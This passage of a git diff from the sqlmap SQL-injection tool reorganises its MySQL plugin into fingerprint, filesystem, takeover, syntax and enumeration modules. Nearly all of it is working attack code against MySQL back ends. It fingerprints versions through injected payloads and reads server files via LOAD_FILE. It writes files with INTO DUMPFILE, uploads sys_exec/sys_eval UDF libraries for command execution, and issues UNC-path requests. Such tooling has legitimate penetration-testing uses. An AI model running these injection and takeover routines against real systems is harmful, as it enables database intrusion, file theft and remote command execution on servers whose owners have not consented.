not conf.extensiveFp: - return True - - # Check which version of MySQL < 5.0.0 it is - coercibility = inject.getValue("COERCIBILITY(USER())") - - if coercibility == "3": - kb.dbmsVersion = [">= 4.1.11", "< 5.0.0"] - elif coercibility == "2": - kb.dbmsVersion = [">= 4.1.1", "< 4.1.11"] - elif inject.getValue("CURRENT_USER()"): - kb.dbmsVersion = [">= 4.0.6", "< 4.1.1"] - - if inject.getValue("CHARSET(CURRENT_USER())") == "utf8": - kb.dbmsVersion = ["= 4.1.0"] - else: - kb.dbmsVersion = [">= 4.0.6", "< 4.1.0"] - elif inject.getValue("FOUND_ROWS()", charsetType=1) == "0": - kb.dbmsVersion = [">= 4.0.0", "< 4.0.6"] - elif inject.getValue("CONNECTION_ID()"): - kb.dbmsVersion = [">= 3.23.14", "< 4.0.0"] - elif re.search("@[\w\.\-\_]+", inject.getValue("USER()")): - kb.dbmsVersion = [">= 3.22.11", "< 3.23.14"] - else: - kb.dbmsVersion = ["< 3.22.11"] - - return True - else: - warnMsg = "the back-end DMBS is not MySQL" - logger.warn(warnMsg) - - return False - - def checkDbmsOs(self, detailed=False): - if kb.os: - return - - infoMsg = "fingerprinting the back-end DBMS operating system" - logger.info(infoMsg) - - datadirSubstr = inject.getValue("SELECT MID(@@datadir, 1, 1)", unpack=False) - - if datadirSubstr == "/": - kb.os = "Linux" - else: - kb.os = "Windows" - - infoMsg = "the back-end DBMS operating system is %s" % kb.os - logger.info(infoMsg) - - self.cleanup(onlyFileTbl=True) - - def unionReadFile(self, rFile): - infoMsg = "fetching file: '%s'" % rFile - logger.info(infoMsg) - - result = inject.getValue("SELECT HEX(LOAD_FILE('%s'))" % rFile) - - return result - - def stackedReadFile(self, rFile): - infoMsg = "fetching file: '%s'" % rFile - logger.info(infoMsg) - - self.createSupportTbl(self.fileTblName, self.tblField, "longtext") - self.getRemoteTempPath() - - tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True)) - - debugMsg = "saving hexadecimal encoded content of file '%s' " % rFile - debugMsg += "into temporary file '%s'" % tmpFile - logger.debug(debugMsg) - inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (rFile, tmpFile)) - - debugMsg = "loading the content of hexadecimal encoded file " - debugMsg += "'%s' into support table" % rFile - logger.debug(debugMsg) - inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField)) - - length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=2) - - if not length.isdigit() or not len(length) or length in ( "0", "1" ): - errMsg = "unable to retrieve the content of the " - errMsg += "file '%s'" % rFile - raise sqlmapNoneDataException, errMsg - - length = int(length) - sustrLen = 1024 - - if length > sustrLen: - result = [] - - for i in range(1, length, sustrLen): - chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, sustrLen, self.fileTblName), unpack=False, sort=False, resumeValue=False, charsetType=3) - - result.append(chunk) - else: - result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=3) - - return result - - def unionWriteFile(self, wFile, dFile, fileType, confirm=True): - logger.debug("encoding file to its hexadecimal string value") - - fcEncodedList = self.fileEncode(wFile, "hex", True) - fcEncodedStr = fcEncodedList[0] - fcEncodedStrLen = len(fcEncodedStr) - - if kb.injPlace == "GET" and fcEncodedStrLen > 8000: - warnMsg = "the injection is on a GET parameter and the file " - warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen - warnMsg += "bytes, this might cause errors in the file " - warnMsg += "writing process" - logger.warn(warnMsg) - - unionTest() - - oldParamFalseCond = conf.paramFalseCond - conf.paramFalseCond = True - - debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile) - logger.debug(debugMsg) - - sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, dFile) - unionUse(sqlQuery, direct=True, unescape=False, nullChar="''") - - conf.paramFalseCond = oldParamFalseCond - - if confirm: - self.askCheckWrittenFile(wFile, dFile, fileType) - - def stackedWriteFile(self, wFile, dFile, fileType, confirm=True): - debugMsg = "creating a support table to write the hexadecimal " - debugMsg += "encoded file to" - logger.debug(debugMsg) - - self.createSupportTbl(self.fileTblName, self.tblField, "longblob") - - logger.debug("encoding file to its hexadecimal string value") - fcEncodedList = self.fileEncode(wFile, "hex", False) - - debugMsg = "forging SQL statements to write the hexadecimal " - debugMsg += "encoded file to the support table" - logger.debug(debugMsg) - - sqlQueries = self.fileToSqlQueries(fcEncodedList) - - logger.debug("inserting the hexadecimal encoded file to the support table") - - for sqlQuery in sqlQueries: - inject.goStacked(sqlQuery) - - debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile) - logger.debug(debugMsg) - - # Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html - inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True) - - if confirm: - self.askCheckWrittenFile(wFile, dFile, fileType) - - def udfSetRemotePath(self): - self.getVersionFromBanner() - - banVer = kb.bannerFp["dbmsVersion"] - - # On Windows - if kb.os == "Windows": - # On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0 - if banVer >= "5.1.19": - if self.__basedir is None: - logger.info("retrieving MySQL base directory absolute path") - - # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir - self.__basedir = inject.getValue("SELECT @@basedir") - self.__basedir = normalizePath(ntToPosixSlashes(self.__basedir)) - - if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I): - kb.os = "Windows" - - # The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin - self.udfRemoteFile = "%s/lib/plugin/%s.%s" % (self.__basedir, self.udfSharedLibName, self.udfSharedLibExt) - - logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir) - - # On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file - # On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file - else: - #logger.debug("retrieving MySQL data directory absolute path") - - # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir - #self.__datadir = inject.getValue("SELECT @@datadir") - - # NOTE: specifying the relative path as './udf.dll' - # saves in @@datadir on both MySQL 4.1 and MySQL 5.0 - self.__datadir = "." - self.__datadir = normalizePath(ntToPosixSlashes(self.__datadir)) - - if re.search("[\w]\:\/", self.__datadir, re.I): - kb.os = "Windows" - - # The DLL can be in either C:\WINDOWS, C:\WINDOWS\system, - # C:\WINDOWS\system32, @@basedir\bin or @@datadir - self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt) - - # On Linux - else: - # The SO can be in either /lib, /usr/lib or one of the - # paths specified in /etc/ld.so.conf file, none of these - # paths are writable by mysql user by default - self.udfRemoteFile = "/usr/lib/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt) - - def udfSetLocalPaths(self): - self.udfLocalFile = paths.SQLMAP_UDF_PATH - self.udfSharedLibName = "libs%s" % randomStr(lowercase=True) - - if kb.os == "Windows": - self.udfLocalFile += "/mysql/windows/32/lib_mysqludf_sys.dll" - self.udfSharedLibExt = "dll" - else: - self.udfLocalFile += "/mysql/linux/32/lib_mysqludf_sys.so" - self.udfSharedLibExt = "so" - - def udfCreateFromSharedLib(self, udf, inpRet): - if udf in self.udfToCreate: - logger.info("creating UDF '%s' from the binary UDF file" % udf) - - ret = inpRet["return"] - - # Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html - inject.goStacked("DROP FUNCTION %s" % udf) - inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt)) - - self.createdUdf.add(udf) - else: - logger.debug("keeping existing UDF '%s' as requested" % udf) - - def uncPathRequest(self): - if not kb.stackedTest: - query = agent.prefixQuery(" AND LOAD_FILE('%s')" % self.uncPath) - query = agent.postfixQuery(query) - payload = agent.payload(newValue=query) - - Request.queryPage(payload) - else: - inject.goStacked("SELECT LOAD_FILE('%s')" % self.uncPath, silent=True) diff --git a/plugins/dbms/mysql/__init__.py b/plugins/dbms/mysql/__init__.py new file mode 100644 index 000000000..d31439970 --- /dev/null +++ b/plugins/dbms/mysql/__init__.py @@ -0,0 +1,56 @@ +#!/usr/bin/env python + +""" +$Id$ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2010 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +from lib.core.settings import MYSQL_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.mysql.enumeration import Enumeration +from plugins.dbms.mysql.filesystem import Filesystem +from plugins.dbms.mysql.fingerprint import Fingerprint +from plugins.dbms.mysql.syntax import Syntax +from plugins.dbms.mysql.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class MySQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines MySQL methods + """ + + def __init__(self): + self.excludeDbsList = MYSQL_SYSTEM_DBS + self.sysUdfs = { + # UDF name: UDF return data-type + "sys_exec": { "return": "int" }, + "sys_eval": { "return": "string" }, + "sys_bineval": { "return": "int" } + } + + Syntax.__init__(self) + Fingerprint.__init__(self) + Enumeration.__init__(self) + Filesystem.__init__(self) + Miscellaneous.__init__(self) + Takeover.__init__(self) + + unescaper.setUnescape(MySQLMap.unescape) diff --git a/plugins/dbms/mysql/enumeration.py b/plugins/dbms/mysql/enumeration.py new file mode 100644 index 000000000..9cd2a0936 --- /dev/null +++ b/plugins/dbms/mysql/enumeration.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +""" +$Id$ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2010 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def __init__(self): + GenericEnumeration.__init__(self, "MySQL") diff --git a/plugins/dbms/mysql/filesystem.py b/plugins/dbms/mysql/filesystem.py new file mode 100644 index 000000000..11ffe9fb7 --- /dev/null +++ b/plugins/dbms/mysql/filesystem.py @@ -0,0 +1,147 @@ +#!/usr/bin/env python + +""" +$Id$ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2010 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +from lib.core.common import randomStr +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.exception import sqlmapNoneDataException +from lib.request import inject +from lib.techniques.inband.union.test import unionTest +from lib.techniques.inband.union.use import unionUse + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def __init__(self): + GenericFilesystem.__init__(self) + + def unionReadFile(self, rFile): + infoMsg = "fetching file: '%s'" % rFile + logger.info(infoMsg) + + result = inject.getValue("SELECT HEX(LOAD_FILE('%s'))" % rFile) + + return result + + def stackedReadFile(self, rFile): + infoMsg = "fetching file: '%s'" % rFile + logger.info(infoMsg) + + self.createSupportTbl(self.fileTblName, self.tblField, "longtext") + self.getRemoteTempPath() + + tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True)) + + debugMsg = "saving hexadecimal encoded content of file '%s' " % rFile + debugMsg += "into temporary file '%s'" % tmpFile + logger.debug(debugMsg) + inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (rFile, tmpFile)) + + debugMsg = "loading the content of hexadecimal encoded file " + debugMsg += "'%s' into support table" % rFile + logger.debug(debugMsg) + inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField)) + + length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=2) + + if not length.isdigit() or not len(length) or length in ( "0", "1" ): + errMsg = "unable to retrieve the content of the " + errMsg += "file '%s'" % rFile + raise sqlmapNoneDataException, errMsg + + length = int(length) + sustrLen = 1024 + + if length > sustrLen: + result = [] + + for i in range(1, length, sustrLen): + chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, sustrLen, self.fileTblName), unpack=False, sort=False, resumeValue=False, charsetType=3) + + result.append(chunk) + else: + result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=3) + + return result + + def unionWriteFile(self, wFile, dFile, fileType, confirm=True): + logger.debug("encoding file to its hexadecimal string value") + + fcEncodedList = self.fileEncode(wFile, "hex", True) + fcEncodedStr = fcEncodedList[0] + fcEncodedStrLen = len(fcEncodedStr) + + if kb.injPlace == "GET" and fcEncodedStrLen > 8000: + warnMsg = "the injection is on a GET parameter and the file " + warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen + warnMsg += "bytes, this might cause errors in the file " + warnMsg += "writing process" + logger.warn(warnMsg) + + unionTest() + + oldParamFalseCond = kb.unionFalseCond + kb.unionFalseCond = True + + debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile) + logger.debug(debugMsg) + + sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, dFile) + unionUse(sqlQuery, direct=True, unescape=False, nullChar="''") + + kb.unionFalseCond = oldParamFalseCond + + if confirm: + self.askCheckWrittenFile(wFile, dFile, fileType) + + def stackedWriteFile(self, wFile, dFile, fileType, confirm=True): + debugMsg = "creating a support table to write the hexadecimal " + debugMsg += "encoded file to" + logger.debug(debugMsg) + + self.createSupportTbl(self.fileTblName, self.tblField, "longblob") + + logger.debug("encoding file to its hexadecimal string value") + fcEncodedList = self.fileEncode(wFile, "hex", False) + + debugMsg = "forging SQL statements to write the hexadecimal " + debugMsg += "encoded file to the support table" + logger.debug(debugMsg) + + sqlQueries = self.fileToSqlQueries(fcEncodedList) + + logger.debug("inserting the hexadecimal encoded file to the support table") + + for sqlQuery in sqlQueries: + inject.goStacked(sqlQuery) + + debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile) + logger.debug(debugMsg) + + # Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html + inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True) + + if confirm: + self.askCheckWrittenFile(wFile, dFile, fileType) diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py new file mode 100644 index 000000000..43a9fd169 --- /dev/null +++ b/plugins/dbms/mysql/fingerprint.py @@ -0,0 +1,286 @@ +#!/usr/bin/env python + +""" +$Id$ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2010 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +import re + +from lib.core.agent import agent +from lib.core.common import formatDBMSfp +from lib.core.common import formatFingerprint +from lib.core.common import getHtmlErrorFp +from lib.core.common import randomInt +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.session import setDbms +from lib.core.settings import MYSQL_ALIASES +from lib.request import inject +from lib.request.connect import Connect as Request + +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self) + + def __commentCheck(self): + infoMsg = "executing MySQL comment injection fingerprint" + logger.info(infoMsg) + + query = agent.prefixQuery(" /* NoValue */") + query = agent.postfixQuery(query) + payload = agent.payload(newValue=query) + result = Request.queryPage(payload) + + if not result: + warnMsg = "unable to perform MySQL comment injection" + logger.warn(warnMsg) + + return None + + # MySQL valid versions updated on 01/2010 + versions = ( + (32200, 32234), # MySQL 3.22 + (32300, 32360), # MySQL 3.23 + (40000, 40032), # MySQL 4.0 + (40100, 40123), # MySQL 4.1 + (50000, 50090), # MySQL 5.0 + (50100, 50142), # MySQL 5.1 + (50400, 50405), # MySQL 5.4 + (50500, 50502), # MySQL 5.5 + (60000, 60011), # MySQL 6.0 + ) + + for element in versions: + prevVer = None + + for version in range(element[0], element[1] + 1): + randInt = randomInt() + version = str(version) + query = agent.prefixQuery(" /*!%s AND %d=%d*/" % (version, randInt, randInt + 1)) + query = agent.postfixQuery(query) + payload = agent.payload(newValue=query) + result = Request.queryPage(payload) + + if result: + if not prevVer: + prevVer = version + + if version[0] == "3": + midVer = prevVer[1:3] + else: + midVer = prevVer[2] + + trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:]) + + return trueVer + + prevVer = version + + return None + + def getFingerprint(self): + value = "" + wsOsFp = formatFingerprint("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + actVer = formatDBMSfp() + + if not conf.extensiveFp: + value += actVer + return value + + comVer = self.__commentCheck() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if comVer: + comVer = formatDBMSfp([comVer]) + value += "\n%scomment injection fingerprint: %s" % (blank, comVer) + + if kb.bannerFp: + banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None + + if re.search("-log$", kb.data.banner): + banVer += ", logging enabled" + + banVer = formatDBMSfp([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = getHtmlErrorFp() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + """ + References for fingerprint: + + * http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html (up to 5.0.89) + * http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html (up to 5.1.42) + * http://dev.mysql.com/doc/refman/5.4/en/news-5-4-x.html (up to 5.4.4) + * http://dev.mysql.com/doc/refman/5.5/en/news-5-5-x.html (up to 5.5.0) + * http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn) + """ + + if conf.dbms in MYSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit(): + setDbms("MySQL %s" % kb.dbmsVersion[0]) + + if int(kb.dbmsVersion[0]) >= 5: + kb.data.has_information_schema = True + + self.getBanner() + + if not conf.extensiveFp: + return True + + infoMsg = "testing MySQL" + logger.info(infoMsg) + + randInt = str(randomInt(1)) + + payload = agent.fullPayload(" AND CONNECTION_ID()=CONNECTION_ID()") + result = Request.queryPage(payload) + + if result: + infoMsg = "confirming MySQL" + logger.info(infoMsg) + + payload = agent.fullPayload(" AND ISNULL(1/0)") + result = Request.queryPage(payload) + + if not result: + warnMsg = "the back-end DMBS is not MySQL" + logger.warn(warnMsg) + + return False + + # Determine if it is MySQL >= 5.0.0 + if inject.getValue("SELECT %s FROM information_schema.TABLES LIMIT 0, 1" % randInt, charsetType=2) == randInt: + kb.data.has_information_schema = True + kb.dbmsVersion = [">= 5.0.0"] + + setDbms("MySQL 5") + + self.getBanner() + + if not conf.extensiveFp: + return True + + # Check if it is MySQL >= 5.5.0 + if inject.getValue("SELECT MID(TO_SECONDS(950501), 1, 1)", unpack=False, charsetType=2) == "6": + kb.dbmsVersion = [">= 5.5.0"] + + # Check if it is MySQL >= 5.1.2 and < 5.5.0 + elif inject.getValue("MID(@@table_open_cache, 1, 1)", unpack=False): + if inject.getValue("SELECT %s FROM information_schema.GLOBAL_STATUS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt: + kb.dbmsVersion = [">= 5.1.12", "< 5.5.0"] + elif inject.getValue("SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt: + kb.dbmsVersion = [">= 5.1.7", "< 5.1.12"] + elif inject.getValue("SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt: + kb.dbmsVersion = ["= 5.1.6"] + elif inject.getValue("SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt: + kb.dbmsVersion = [">= 5.1.5", "< 5.1.6"] + else: + kb.dbmsVersion = [">= 5.1.2", "< 5.1.5"] + + # Check if it is MySQL >= 5.0.0 and < 5.1.2 + elif inject.getValue("MID(@@hostname, 1, 1)", unpack=False): + kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"] + elif inject.getValue("SELECT 1 FROM DUAL", charsetType=1) == "1": + kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"] + elif inject.getValue("DATABASE() LIKE SCHEMA()"): + kb.dbmsVersion = [">= 5.0.2", "< 5.0.11"] + else: + kb.dbmsVersion = [">= 5.0.0", "<= 5.0.1"] + + # Otherwise assume it is MySQL < 5.0.0 + else: + kb.dbmsVersion = ["< 5.0.0"] + + setDbms("MySQL 4") + + self.getBanner() + + if not conf.extensiveFp: + return True + + # Check which version of MySQL < 5.0.0 it is + coercibility = inject.getValue("COERCIBILITY(USER())") + + if coercibility == "3": + kb.dbmsVersion = [">= 4.1.11", "< 5.0.0"] + elif coercibility == "2": + kb.dbmsVersion = [">= 4.1.1", "< 4.1.11"] + elif inject.getValue("CURRENT_USER()"): + kb.dbmsVersion = [">= 4.0.6", "< 4.1.1"] + + if inject.getValue("CHARSET(CURRENT_USER())") == "utf8": + kb.dbmsVersion = ["= 4.1.0"] + else: + kb.dbmsVersion = [">= 4.0.6", "< 4.1.0"] + elif inject.getValue("FOUND_ROWS()", charsetType=1) == "0": + kb.dbmsVersion = [">= 4.0.0", "< 4.0.6"] + elif inject.getValue("CONNECTION_ID()"): + kb.dbmsVersion = [">= 3.23.14", "< 4.0.0"] + elif re.search("@[\w\.\-\_]+", inject.getValue("USER()")): + kb.dbmsVersion = [">= 3.22.11", "< 3.23.14"] + else: + kb.dbmsVersion = ["< 3.22.11"] + + return True + else: + warnMsg = "the back-end DMBS is not MySQL" + logger.warn(warnMsg) + + return False + + def checkDbmsOs(self, detailed=False): + if kb.os: + return + + infoMsg = "fingerprinting the back-end DBMS operating system" + logger.info(infoMsg) + + datadirSubstr = inject.getValue("SELECT MID(@@datadir, 1, 1)", unpack=False) + + if datadirSubstr == "/": + kb.os = "Linux" + else: + kb.os = "Windows" + + infoMsg = "the back-end DBMS operating system is %s" % kb.os + logger.info(infoMsg) + + self.cleanup(onlyFileTbl=True) diff --git a/plugins/dbms/mysql/syntax.py b/plugins/dbms/mysql/syntax.py new file mode 100644 index 000000000..f95bbc770 --- /dev/null +++ b/plugins/dbms/mysql/syntax.py @@ -0,0 +1,87 @@ +#!/usr/bin/env python + +""" +$Id$ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2010 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +from lib.core.exception import sqlmapSyntaxException +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + def __init__(self): + GenericSyntax.__init__(self) + + @staticmethod + def unescape(expression, quote=True): + if quote: + while True: + index = expression.find("'") + if index == -1: + break + + firstIndex = index + 1 + index = expression[firstIndex:].find("'") + + if index == -1: + raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression + + lastIndex = firstIndex + index + old = "'%s'" % expression[firstIndex:lastIndex] + unescaped = "" + + for i in range(firstIndex, lastIndex): + unescaped += "%d" % (ord(expression[i])) + if i < lastIndex - 1: + unescaped += "," + + expression = expression.replace(old, "CHAR(%s)" % unescaped) + else: + unescaped = "CHAR(" + unescaped += ",".join("%d" % ord(c) for c in expression) + unescaped += ")" + + expression = unescaped + + return expression + + @staticmethod + def escape(expression): + while True: + index = expression.find("CHAR(") + if index == -1: + break + + firstIndex = index + index = expression[firstIndex:].find(")") + + if index == -1: + raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression + + lastIndex = firstIndex + index + 1 + old = expression[firstIndex:lastIndex] + oldUpper = old.upper() + oldUpper = oldUpper.lstrip("CHAR(").rstrip(")") + oldUpper = oldUpper.split(",") + + escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper]) + expression = expression.replace(old, escaped) + + return expression diff --git a/plugins/dbms/mysql/takeover.py b/plugins/dbms/mysql/takeover.py new file mode 100644 index 000000000..7e2e418c8 --- /dev/null +++ b/plugins/dbms/mysql/takeover.py @@ -0,0 +1,130 @@ +#!/usr/bin/env python + +""" +$Id$ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2010 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +import re + +from lib.core.agent import agent +from lib.core.common import normalizePath +from lib.core.common import ntToPosixSlashes +from lib.core.common import randomStr +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import paths +from lib.request import inject +from lib.request.connect import Connect as Request + +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def __init__(self): + self.__basedir = None + self.__datadir = None + + GenericTakeover.__init__(self) + + def udfSetRemotePath(self): + self.getVersionFromBanner() + + banVer = kb.bannerFp["dbmsVersion"] + + # On Windows + if kb.os == "Windows": + # On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0 + if banVer >= "5.1.19": + if self.__basedir is None: + logger.info("retrieving MySQL base directory absolute path") + + # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir + self.__basedir = inject.getValue("SELECT @@basedir") + self.__basedir = normalizePath(ntToPosixSlashes(self.__basedir)) + + if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I): + kb.os = "Windows" + + # The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin + self.udfRemoteFile = "%s/lib/plugin/%s.%s" % (self.__basedir, self.udfSharedLibName, self.udfSharedLibExt) + + logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir) + + # On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file + # On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file + else: + #logger.debug("retrieving MySQL data directory absolute path") + + # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir + #self.__datadir = inject.getValue("SELECT @@datadir") + + # NOTE: specifying the relative path as './udf.dll' + # saves in @@datadir on both MySQL 4.1 and MySQL 5.0 + self.__datadir = "." + self.__datadir = normalizePath(ntToPosixSlashes(self.__datadir)) + + if re.search("[\w]\:\/", self.__datadir, re.I): + kb.os = "Windows" + + # The DLL can be in either C:\WINDOWS, 